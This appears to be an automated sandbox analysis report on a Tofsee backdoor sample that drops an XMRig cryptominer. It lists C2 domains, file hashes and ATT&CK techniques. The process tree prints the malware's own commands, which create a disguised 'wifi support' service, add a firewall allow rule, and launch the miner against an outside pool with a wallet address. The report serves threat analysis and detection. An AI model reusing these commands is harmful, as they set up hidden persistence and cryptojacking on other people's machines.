Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 08:30

General

  • Target

    c9ddabbc313900958eaa2d40d3b8ef607508f8ccf5f161d63e9a6215db477bd7.exe

  • Size

    310KB

  • MD5

    5bb9ca5f1aabfca43406d29cbc8432f4

  • SHA1

    70633d38eb78313112894bc201931807693e3619

  • SHA256

    c9ddabbc313900958eaa2d40d3b8ef607508f8ccf5f161d63e9a6215db477bd7

  • SHA512

    d8671c6b2aa45131228381a17b4e909fd14762b021dcacae69824da6d2eb65d2af0fdc2ad37976732ce595192a583de44c4b3559b6f50e894cd010ac15e00d77

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c9ddabbc313900958eaa2d40d3b8ef607508f8ccf5f161d63e9a6215db477bd7.exe
    "C:\Users\Admin\AppData\Local\Temp\c9ddabbc313900958eaa2d40d3b8ef607508f8ccf5f161d63e9a6215db477bd7.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1504
  • C:\Users\Admin\AppData\Local\Temp\398E.exe
    C:\Users\Admin\AppData\Local\Temp\398E.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\unqquchm\
      2⤵
        PID:2008
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gprjhmxy.exe" C:\Windows\SysWOW64\unqquchm\
        2⤵
          PID:616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create unqquchm binPath= "C:\Windows\SysWOW64\unqquchm\gprjhmxy.exe /d\"C:\Users\Admin\AppData\Local\Temp\398E.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description unqquchm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start unqquchm
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3940 -s 1036
          2⤵
          • Program crash
          PID:3280
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:3668
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 872
            2⤵
            • Program crash
            PID:1608
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3668 -ip 3668
          1⤵
            PID:4004
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:3572
            • C:\Windows\SysWOW64\unqquchm\gprjhmxy.exe
              C:\Windows\SysWOW64\unqquchm\gprjhmxy.exe /d"C:\Users\Admin\AppData\Local\Temp\398E.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2932
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Sets service image path in registry
                • Drops file in System32 directory
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:3624
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1156
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2932 -s 512
                2⤵
                • Program crash
                PID:1004
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3940 -ip 3940
              1⤵
                PID:3772
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2932 -ip 2932
                1⤵
                  PID:212

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\398E.exe
                  Filesize

                  310KB

                  MD5

                  b20cf306a1e5f6ada69f9ce5f7a7dd53

                  SHA1

                  7a1b871db7d736b0f1cb8d17cadff1021d5118aa

                  SHA256

                  af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca

                  SHA512

                  b96868eb140ec919fbb8220955a5b9b7bca2639831f450ba92c1c321c4d0c9ddb9b9fe13993fd95ad087de879dd14bd8ea77e01ea6d58692d95f43654b36e709

                • C:\Users\Admin\AppData\Local\Temp\398E.exe
                  Filesize

                  310KB

                  MD5

                  b20cf306a1e5f6ada69f9ce5f7a7dd53

                  SHA1

                  7a1b871db7d736b0f1cb8d17cadff1021d5118aa

                  SHA256

                  af5c4e5401f3738f5151c04f0758e625cc7b57518256bfbc2fa68e70afa135ca

                  SHA512

                  b96868eb140ec919fbb8220955a5b9b7bca2639831f450ba92c1c321c4d0c9ddb9b9fe13993fd95ad087de879dd14bd8ea77e01ea6d58692d95f43654b36e709

                • C:\Users\Admin\AppData\Local\Temp\gprjhmxy.exe
                  Filesize

                  12.4MB

                  MD5

                  077321f772c76b28de818b2a9f5024f5

                  SHA1

                  429a0fc8f4c9407d0b4cfc7c1703e32af1042f2e

                  SHA256

                  373cb18dfa63ef308340c291627dcc20f91c2ad83d0ab90554651a3acca8d783

                  SHA512

                  b04d1c28d0fe12af4afcbf901a822bef7324db46fc716c2195025bb9eef7862d537d0234fa1a8b5bdcae1c6e36c1d9de0b6d565b8740e9858f9f2169aa650d8f

                • C:\Windows\SysWOW64\unqquchm\gprjhmxy.exe
                  Filesize

                  12.4MB

                  MD5

                  077321f772c76b28de818b2a9f5024f5

                  SHA1

                  429a0fc8f4c9407d0b4cfc7c1703e32af1042f2e

                  SHA256

                  373cb18dfa63ef308340c291627dcc20f91c2ad83d0ab90554651a3acca8d783

                  SHA512

                  b04d1c28d0fe12af4afcbf901a822bef7324db46fc716c2195025bb9eef7862d537d0234fa1a8b5bdcae1c6e36c1d9de0b6d565b8740e9858f9f2169aa650d8f

                • memory/616-144-0x0000000000000000-mapping.dmp
                • memory/1156-182-0x0000000000000000-mapping.dmp
                • memory/1156-188-0x0000000000CB0000-0x0000000000DA1000-memory.dmp
                  Filesize

                  964KB

                • memory/1156-183-0x0000000000CB0000-0x0000000000DA1000-memory.dmp
                  Filesize

                  964KB

                • memory/1504-133-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/1504-130-0x00000000007D2000-0x00000000007E2000-memory.dmp
                  Filesize

                  64KB

                • memory/1504-151-0x0000000000000000-mapping.dmp
                • memory/1504-132-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/1504-131-0x00000000001F0000-0x00000000001F9000-memory.dmp
                  Filesize

                  36KB

                • memory/1588-149-0x0000000000000000-mapping.dmp
                • memory/2008-138-0x0000000000000000-mapping.dmp
                • memory/2932-161-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/2932-160-0x00000000006DE000-0x00000000006EE000-memory.dmp
                  Filesize

                  64KB

                • memory/3572-145-0x0000000000000000-mapping.dmp
                • memory/3572-147-0x00000000006A0000-0x00000000006AC000-memory.dmp
                  Filesize

                  48KB

                • memory/3624-162-0x00000000010F0000-0x0000000001105000-memory.dmp
                  Filesize

                  84KB

                • memory/3624-176-0x0000000007C80000-0x000000000808B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/3624-167-0x0000000002560000-0x0000000002566000-memory.dmp
                  Filesize

                  24KB

                • memory/3624-164-0x0000000002E00000-0x000000000300F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/3624-163-0x00000000010F0000-0x0000000001105000-memory.dmp
                  Filesize

                  84KB

                • memory/3624-179-0x00000000031E0000-0x00000000031E7000-memory.dmp
                  Filesize

                  28KB

                • memory/3624-173-0x00000000031D0000-0x00000000031D5000-memory.dmp
                  Filesize

                  20KB

                • memory/3624-156-0x0000000000000000-mapping.dmp
                • memory/3624-157-0x00000000010F0000-0x0000000001105000-memory.dmp
                  Filesize

                  84KB

                • memory/3624-170-0x0000000002570000-0x0000000002580000-memory.dmp
                  Filesize

                  64KB

                • memory/3668-142-0x0000000000E50000-0x0000000000EC4000-memory.dmp
                  Filesize

                  464KB

                • memory/3668-137-0x0000000000000000-mapping.dmp
                • memory/3668-143-0x0000000000DE0000-0x0000000000E4B000-memory.dmp
                  Filesize

                  428KB

                • memory/3668-150-0x0000000000DE0000-0x0000000000E4B000-memory.dmp
                  Filesize

                  428KB

                • memory/3904-148-0x0000000000000000-mapping.dmp
                • memory/3940-155-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/3940-140-0x00000000005D0000-0x00000000005E3000-memory.dmp
                  Filesize

                  76KB

                • memory/3940-141-0x0000000000400000-0x00000000004F3000-memory.dmp
                  Filesize

                  972KB

                • memory/3940-154-0x0000000000713000-0x0000000000724000-memory.dmp
                  Filesize

                  68KB

                • memory/3940-139-0x0000000000713000-0x0000000000724000-memory.dmp
                  Filesize

                  68KB

                • memory/3940-134-0x0000000000000000-mapping.dmp
                • memory/4036-153-0x0000000000000000-mapping.dmp